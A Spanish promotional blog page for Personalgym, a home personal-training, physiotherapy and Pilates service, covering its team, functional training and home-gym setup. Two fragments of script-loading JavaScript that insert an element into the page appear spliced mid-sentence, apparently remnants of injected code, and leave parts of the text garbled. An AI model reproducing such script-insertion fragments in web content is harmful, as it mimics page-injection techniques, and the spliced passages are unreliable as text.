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Posts tagged "Pilates personal"

Personalgym – tu gimnasio en casa

Desde su creación, y tras varios años trabajando individualmente y habiendo adquirido gran expeiencia profesional, Arkaitz Zuriarrain Marichalar, fundador de Personalgym, ha reunido a los mejores profesionales del sector de la actividad física y del deporte, cuyo objetivo es el asesoramiento deportivo y fisioterapéutico.

Dado el incremento de la actividad, el equipo ha ido aumentando de manera que actualmente lo compone un amplio grupo de entrenadores personales, fisioterapeutas y profesores de pilates.

Personalgym es una empresa innovadora, compuesta por un equipo de entrenadores personales, fisioterapeutas titulados y profesores de pilates profesionales y serios, comprometidos con el objetivo de colmar tus necesidades deportivas y relacionadas con tu salud.d.getElementsByTagName(‘head’)[0].appendChild(s);

¿Qué es Personalgym?

Personalgym es una empresa especializada en entrenamiento personal, Fisioterapia y Pilates a domicilio.

Trabajamos para conseguir los objetivos de nuestros clientes, tales como: perder peso, recuperarse de una lesión, adquirir hábitos saludables, estar en forma…

¿EN QUÉ CONSISTE EL ENTRENAMIENTO FUNCIONAL?

Consiste en simular gestos o movimientos que te ayuden a mejorar tu calidad de vida a través del ejercicio, mejorando así tu rendimiento y tu estado físico.

¿DÓNDE PUEDES ENCONTRARNOS?

¡En tu casa! Puedes contratar el servicio a domicilio. Contarás con tu entrenador personal, fisioterapeuta o profesor de Pilates en el momento que tu decidas. Nos adaptamos a tus horarios, sin necesidad de desplazarte.

En Club Padel4. Disponemos de unas instalaciones exclusivas para entrenamiento personal. Contamos con un aula equipada con los últimos materiales del momento. TRX, Power plate, etc.

El servicio que damos es exclusivo y personalizado. Contando con un seguimiento constante, basado en valoraciones mensuales, en las que te medimos el peso, la grasa corporal, perímetros corporales,
flexibilidad… parámetros que nos ayudan a determinar tu progresión.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Entrenamiento funcional: ¡Conócelo y te quedarás enganchado!

A estas alturas seguramente ya te sonará. Y es que cada vez son más los adeptos que han descubierto las virtudes de este tipo de entrenamiento. Como entrenadores personales de Personalgym, intentaremos explicaros brevemente en qué consiste.

¿En qué consiste?

Se trata de una modalidad de entrenamiento que simula los movimientos realesrealizados en la vida cotidiana, laboral, o deportiva, mejorando así tu rendimiento y tu estado físico y ayudando a prevenit distintas lesiones y patologías.

¿Cuál es el objetivo?

El que tú quieras. Adelgazar, ponerte en forma, tonificar, sentirte bien, divertirte haciendo ejercicio, mejorar en tu trabajo y en el deporte, prevenir lesiones o recuperarte de ellas, cambiar los malos hábitos… Así, este tipo de entrenamiento es apto para todo tipo de personas, desde niños, hasta mayores.

¿Qué materiales se utilizan?

Los materiales que se utilizan son: bandas elásticas, balones terapéuticos, bossus, poleas, mancuernas y hasta tu propio peso corporal. Con estos elementos se pueden realizar todo tipo de movimientos cotidianos que te ayuden a conseguir el objetivo. En este tipo de entrenamiento corregir la postura y la ergonomía son claves}

Ponte en forma con un entrenamiento personalizado

“La semana que viene empiezo a hacer deporte” es la típica frase que todos decimos cuando nos entra cargo de
conciencia por nuestros hábitos sedentarios. Ahora lo tienes fácil, el equipo de PERSONALGYM te cuida, te
mima, y sobre todo te motiva para que te pongas en forma, porque amamos el deporte.

¡NO HAY EXCUSA, CONTRATA UN ENTRENADOR O FISIOTERAPEUTA EN TU CASA!

En PERSONALGYM queremos que hagas deporte, y para ello, que mejor que tenernos en casas. De entre todo nuestro equipo, buscamos la persona que mejor se amolde a tus necesidades, de modo que ésta se acerca a tu domicilio para ofrecer cualquier tipo de servicio: Entrenamiento Personal, Fisioterapia o Pilates.

Llevamos años haciendo este trabajo, y ofrecemos la máxima comodidad y seriedad en cuanto a horarios. Además, en el caso de los entrenamientos personalizados, ofrecemos planes de trabajo en base a tus objetivos , con la posibilidad de combinar tratamientos de fisioterapia como masajes a domicilio.

¿HAS PENSADO EN MONTAR TU GIMNASIO EN CASA?

Aplicamos toda nuestra experiencia para facilitarte el montaje de un gimnasio en tu casa, con máquinas modernas y fiables. Tu nos pides lo que te interesa, nosotros te asesoramos, y te ayudamos a instalar
tu gimnasio en casa.